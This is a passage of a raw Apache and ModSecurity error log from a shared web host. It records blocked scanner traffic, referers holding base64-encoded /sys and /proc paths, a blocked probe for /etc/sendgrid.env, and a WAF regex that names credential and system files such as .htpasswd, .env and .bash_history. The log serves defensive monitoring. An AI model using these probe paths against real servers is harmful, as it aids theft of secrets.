531244] [remote 57.141.14.14:57800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:25.763831 2026] [security2:error] [pid 531797:tid 531932] [remote 17.22.253.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrcTA7b1mZrmcA-8sNgACeEQ"] [Sat Jun 13 18:11:25.810913 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:11:25.811339 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:11:25.879386 2026] [security2:error] [pid 531155:tid 531190] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/sendgrid.env"] [unique_id "ai3xrSmiP80klyS0Nnr-PgABQyI"] [Sat Jun 13 18:11:26.149589 2026] [security2:error] [pid 531155:tid 531207] [remote 17.241.75.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrimiP80klyS0Nnr-QwABWjM"] [Sat Jun 13 18:11:26.262527 2026] [security2:error] [pid 531797:tid 531939] [remote 17.22.245.189:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 189.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrsTA7b1mZrmcA-8sQQACZks"] [Sat Jun 13 18:11:26.298097 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:11:26.298536 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDc= [Sat Jun 13 18:11:26.427568 2026] [security2:error] [pid 531155:tid 531200] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/env.php"] [unique_id "ai3xrimiP80klyS0Nnr-TQABJSw"] [Sat Jun 13 18:11:26.613760 2026] [security2:error] [pid 531155:tid 531175] [remote 17.241.227.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrimiP80klyS0Nnr-UQABYhM"] [Sat Jun 13 18:11:26.800608 2026] [security2:error] [pid 531155:tid 531188] [remote 17.246.19.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrimiP80klyS0Nnr-VQABdCA"] [Sat Jun 13 18:11:26.826829 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.82:54548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:26.827096 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.82:54548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:26.903485 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:11:26.903918 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvcG93ZXI= [Sat Jun 13 18:11:26.940848 2026] [access_compat:error] [pid 531797:tid 531892] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:26.941122 2026] [access_compat:error] [pid 531797:tid 531892] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:11:26.954949 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.98:47902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:26.955380 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.98:47902] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:26.974039 2026] [access_compat:error] [pid 531155:tid 531283] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:26.974303 2026] [access_compat:error] [pid 531155:tid 531283] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:27.071064 2026] [security2:error] [pid 531155:tid 531255] [remote 17.246.19.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrymiP80klyS0Nnr-XAABFWM"] [Sat Jun 13 18:11:27.334894 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNl [Sat Jun 13 18:11:27.335164 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNl [Sat Jun 13 18:11:27.422369 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.60:51158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:27.422684 2026] [access_compat:error] [pid 531155:tid 531180] [remote 57.141.14.60:51158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:27.575058 2026] [access_compat:error] [pid 531155:tid 531225] [remote 57.141.14.45:33088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:27.575421 2026] [access_compat:error] [pid 531155:tid 531225] [remote 57.141.14.45:33088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:27.611794 2026] [security2:error] [pid 531155:tid 531159] [remote 17.241.219.13:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 13.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xrymiP80klyS0Nnr-awABSwM"] [Sat Jun 13 18:11:27.804294 2026] [security2:error] [pid 531797:tid 531947] [remote 17.246.15.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xr8TA7b1mZrmcA-8scAACX1M"] [Sat Jun 13 18:11:27.890844 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:11:27.891121 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:11:28.260247 2026] [security2:error] [pid 531797:tid 531902] [remote 17.22.237.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xsMTA7b1mZrmcA-8sfgACVyY"] [Sat Jun 13 18:11:28.273290 2026] [security2:error] [pid 531797:tid 531875] [remote 17.246.15.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xsMTA7b1mZrmcA-8sfwACQQs"] [Sat Jun 13 18:11:28.301689 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.94:52788] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:28.301961 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.94:52788] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:28.406030 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.13:62683] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:28.406460 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.13:62683] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:28.436317 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:11:28.436791 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:11:28.692108 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.95:24697] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:28.692542 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.95:24697] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:28.882342 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.7:38653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:28.882732 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.7:38653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:28.947320 2026] [security2:error] [pid 531797:tid 531977] [remote 86.30.2.52:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xsMTA7b1mZrmcA-8snQACQHA"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:28.947357 2026] [security2:error] [pid 531797:tid 531977] [remote 86.30.2.52:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xsMTA7b1mZrmcA-8snQACQHA"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:28.948902 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:11:28.949205 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:11:29.010014 2026] [security2:error] [pid 531797:tid 531950] [remote 17.22.253.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] 